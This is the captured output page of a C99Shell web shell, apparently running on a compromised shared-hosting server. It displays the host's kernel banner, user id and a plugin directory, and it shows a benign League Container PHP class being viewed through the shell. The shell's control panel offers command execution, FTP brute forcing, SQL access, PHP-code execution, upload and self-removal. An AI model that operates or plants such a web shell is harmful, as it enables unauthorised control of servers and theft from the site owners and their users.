!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/kkart-pro/vendor/league/container/src/Definition/   drwxr-xr-x
Free 292.5 GB of 429.69 GB (68.07%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     DefinitionAggregate.php (2.89 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);

namespace 
Automattic\Kkart\Vendor\League\Container\Definition;

use 
Generator;
use 
Automattic\Kkart\Vendor\League\Container\ContainerAwareTrait;
use 
Automattic\Kkart\Vendor\League\Container\Exception\NotFoundException;

class 
DefinitionAggregate implements DefinitionAggregateInterface
{
    use 
ContainerAwareTrait;

    
/**
     * @var DefinitionInterface[]
     */
    
protected $definitions = [];

    
/**
     * Construct.
     *
     * @param DefinitionInterface[] $definitions
     */
    
public function __construct(array $definitions = [])
    {
        
$this->definitions array_filter($definitions, function ($definition) {
            return (
$definition instanceof DefinitionInterface);
        });
    }

    
/**
     * {@inheritdoc}
     */
    
public function add(string $id$definitionbool $shared false) : DefinitionInterface
    
{
        if (!
$definition instanceof DefinitionInterface) {
            
$definition = new Definition($id$definition);
        }

        
$this->definitions[] = $definition
            
->setAlias($id)
            ->
setShared($shared)
        ;

        return 
$definition;
    }

    
/**
     * {@inheritdoc}
     */
    
public function has(string $id) : bool
    
{
        foreach (
$this->getIterator() as $definition) {
            if (
$id === $definition->getAlias()) {
                return 
true;
            }
        }

        return 
false;
    }

    
/**
     * {@inheritdoc}
     */
    
public function hasTag(string $tag) : bool
    
{
        foreach (
$this->getIterator() as $definition) {
            if (
$definition->hasTag($tag)) {
                return 
true;
            }
        }

        return 
false;
    }

    
/**
     * {@inheritdoc}
     */
    
public function getDefinition(string $id) : DefinitionInterface
    
{
        foreach (
$this->getIterator() as $definition) {
            if (
$id === $definition->getAlias()) {
                return 
$definition->setLeagueContainer($this->getLeagueContainer());
            }
        }

        throw new 
NotFoundException(sprintf('Alias (%s) is not being handled as a definition.'$id));
    }

    
/**
     * {@inheritdoc}
     */
    
public function resolve(string $idbool $new false)
    {
        return 
$this->getDefinition($id)->resolve($new);
    }

    
/**
     * {@inheritdoc}
     */
    
public function resolveTagged(string $tagbool $new false) : array
    {
        
$arrayOf = [];

        foreach (
$this->getIterator() as $definition) {
            if (
$definition->hasTag($tag)) {
                
$arrayOf[] = $definition->setLeagueContainer($this->getLeagueContainer())->resolve($new);
            }
        }

        return 
$arrayOf;
    }

    
/**
     * {@inheritdoc}
     */
    
public function getIterator() : Generator
    
{
        
$count count($this->definitions);

        for (
$i 0$i $count$i++) {
            yield 
$this->definitions[$i];
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.2029 ]--